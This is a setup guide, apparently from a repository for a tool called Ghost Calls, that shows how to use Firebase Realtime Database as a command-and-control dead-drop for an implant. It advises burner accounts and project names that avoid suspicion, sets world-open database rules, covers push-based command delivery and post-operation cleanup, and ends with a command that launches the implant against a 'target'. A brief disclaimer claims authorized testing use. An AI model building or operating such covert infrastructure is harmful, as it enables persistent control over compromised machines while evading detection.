Files

8.5 KiB

Firebase Project Setup Guide

This guide walks through creating a Firebase project for Ghost Calls using the Firebase CLI. No browser required.

Prerequisites

  • Node.js 18+ (for firebase-tools CLI)
  • A Google account (use a burner account — never link to personal accounts)
  • curl for testing API endpoints

Step 1: Install Firebase CLI

npm install -g firebase-tools

Verify installation:

firebase --version
# Expected: 13.x or higher

Step 2: Log In

firebase login

This opens a browser for OAuth authentication. If running headless (no browser), use:

firebase login --no-localhost

Follow the printed URL instructions to complete authentication.


Step 3: Create the Firebase Project

# Create a new project (interactive — you'll be prompted for a project ID)
firebase projects:create

# You will be prompted:
# ? Please specify a unique project id (my-c2-project): ghost-calls-operational-42
# ? What would you like to call your project? Ghost Calls

Important: The project ID must be globally unique across all Firebase projects. Choose something innocuous that won't raise suspicion. Good examples: weather-app-sync-8472, note-taking-backup. Bad examples: c2-command-control, hacker-op-2024.

Headless Project Creation (Alternative)

If firebase projects:create is too interactive, use the Firebase Console REST API directly:

# First, get your access token
FIREBASE_TOKEN=$(firebase login:ci)

# Create the project
curl -X POST "https://firebase.googleapis.com/v1/projects" \
  -H "Authorization: Bearer $FIREBASE_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "projectId": "ghost-calls-operational-42",
    "displayName": "Note Sync",
    "labels": {
      "purpose": "development"
    }
  }'

Step 4: Enable Firebase for the Project

# Add Firebase to the project
firebase init

# Select only "Firestore" or "Database" and "Hosting" if needed
# For Ghost Calls, we only need Realtime Database, so:
# - Toggle "Realtime Database" with SPACE
# - Press ENTER to confirm

If you get an error about project not found, the project may not have Firebase resources initialized yet. Fix:

# Explicitly add Firebase to the project
firebase projects:addfirebase <project-id>

Step 5: Enable the Realtime Database

Via CLI:

# List available Firebase features — verify RTDB is available
firebase --project=<project-id> firestore:databases:list 2>/dev/null || true

# Initialize Realtime Database through CLI
firebase --project=<project-id> init database

# You'll be prompted:
# ? What file should be used for Realtime Database Security Rules? database.rules.json
# Accept default or specify rtdb.rules.json

Via REST API:

# Enable Realtime Database via REST
curl -X POST \
  "https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
  -H "Authorization: Bearer $FIREBASE_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"databaseId": "<project-id>-default-rtdb", "type": "DEFAULT_DATABASE"}'

Wait 30-60 seconds for the database instance to provision.


Step 6: Get Your Database URL

# List Firebase projects and their resources
firebase --project=<project-id> databases:list 2>/dev/null || true

# OR use the REST API to find the database URL
curl -s \
  "https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
  -H "Authorization: Bearer $FIREBASE_TOKEN" \
  | jq -r '.instances[].databaseUrl'

Your database URL will look like:

https://<project-id>-default-rtdb.firebaseio.com

Step 7: Set Database Rules

For initial testing, set wide-open rules.

Write the rules file (database.rules.json):

{
  "rules": {
    ".read": true,
    ".write": true
  }
}

Deploy rules:

# Via firebase-tools CLI
firebase --project=<project-id> deploy --only database

# OR via REST API
curl -X PUT \
  "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" \
  -H "Authorization: Bearer $FIREBASE_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"rules":{".read":true,".write":true}}'

Verify rules are deployed:

curl -s "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" | jq .

Expected output:

{
  "rules": {
    ".read": true,
    ".write": true
  }
}

Step 8: Get Firebase API Key

The API key is needed if you want to use Firebase Authentication or FCM. For the basic RTDB dead-drop, you don't strictly need it — but it's useful for auth-enabled access.

Via CLI:

# List all Firebase project resources including Web API Key
firebase --project=<project-id> apps:list 2>/dev/null

# If no apps exist, create a Web app:
firebase --project=<project-id> apps:create WEB "ghost-ctl"

# Get the config for your web app (includes apiKey):
firebase --project=<project-id> apps:sdkconfig WEB <app-id>

Via Google Cloud Console API:

# List all API keys for the project
curl -s \
  "https://apikeys.googleapis.com/v2/projects/<project-id>/locations/global/keys" \
  -H "Authorization: Bearer $FIREBASE_TOKEN" \
  | jq '.keys[].displayName, .keys[].keyString'

Step 9: Test the Database

Verify end-to-end connectivity:

# Write a test value
curl -X PUT \
  "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json" \
  -H "Content-Type: application/json" \
  -d '"world"'

# Read it back
curl -s "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"

# Expected: "world"

# Delete the test value
curl -X DELETE "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"

Step 10: (Optional) Enable Firebase Cloud Messaging

For push-based command delivery (advanced):

# Enable FCM for the project
curl -X POST \
  "https://fcm.googleapis.com/v1/projects/<project-id>/messages:send" \
  -H "Authorization: Bearer $FIREBASE_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"message":{"topic":"test","data":{"test":"true"}}}'

To get FCM server credentials for the HTTP v1 API:

# Navigate to the Google Cloud Console IAM area for the Firebase service account
gcloud iam service-accounts list --project=<project-id>

# The Firebase service account looks like:
# firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com

# Generate a key for this account:
gcloud iam service-accounts keys create firebase-key.json \
  --iam-account=firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com \
  --project=<project-id>

Then use this key with Google's OAuth endpoints to get access tokens for FCM API calls. This is beyond the scope of the basic RTDB setup.


Step 11: Clean Up (After Operation)

Always delete the Firebase project when the operation is complete:

# Delete the project (this cannot be undone)
firebase projects:delete <project-id>

# Confirm the deletion
# > ? Are you sure? Yes

Or via REST:

curl -X DELETE \
  "https://firebase.googleapis.com/v1/projects/<project-id>" \
  -H "Authorization: Bearer $FIREBASE_TOKEN"

Environment Variables for Ghost Calls

Once your project is configured, export these for the Ghost Calls server:

# Database URL (from Step 6)
export FIREBASE_URL="https://<project-id>-default-rtdb.firebaseio.com"

# Encryption secret — generate a strong random key
export GHOST_SECRET="$(openssl rand -hex 32)"

# Port for the HTTP status page (optional, default: 9090)
export GHOST_PORT="9090"

For the implant:

./ghost-client \
  --db-url "$FIREBASE_URL" \
  --id "target-001" \
  --secret "$GHOST_SECRET" \
  --interval 30s \
  --jitter 15s

Troubleshooting

"Permission denied" when reading/writing data

Your database rules are too restrictive. Either set .read and .write to true, or create proper auth rules.

"Project not found" errors

The Firebase project may not have Realtime Database initialized. Run through Step 5 again.

"Quota exceeded"

Free tier limits:

  • 200 simultaneous connections
  • 10 MB stored
  • 10 GB/month downloaded
  • 10,000 writes/hour

Upgrade to Blaze (pay-as-you-go) plan for higher limits, or reduce poll frequency.

"Access denied" on REST calls

Your authentication token may be expired. Run firebase login again or generate a new CI token.

Can't find the database URL

The database may still be provisioning. Wait 1-2 minutes and try again. Use the REST API in Step 6 to check.

DISCLAIMER

For authorized Security Testing or Educational Purposes only.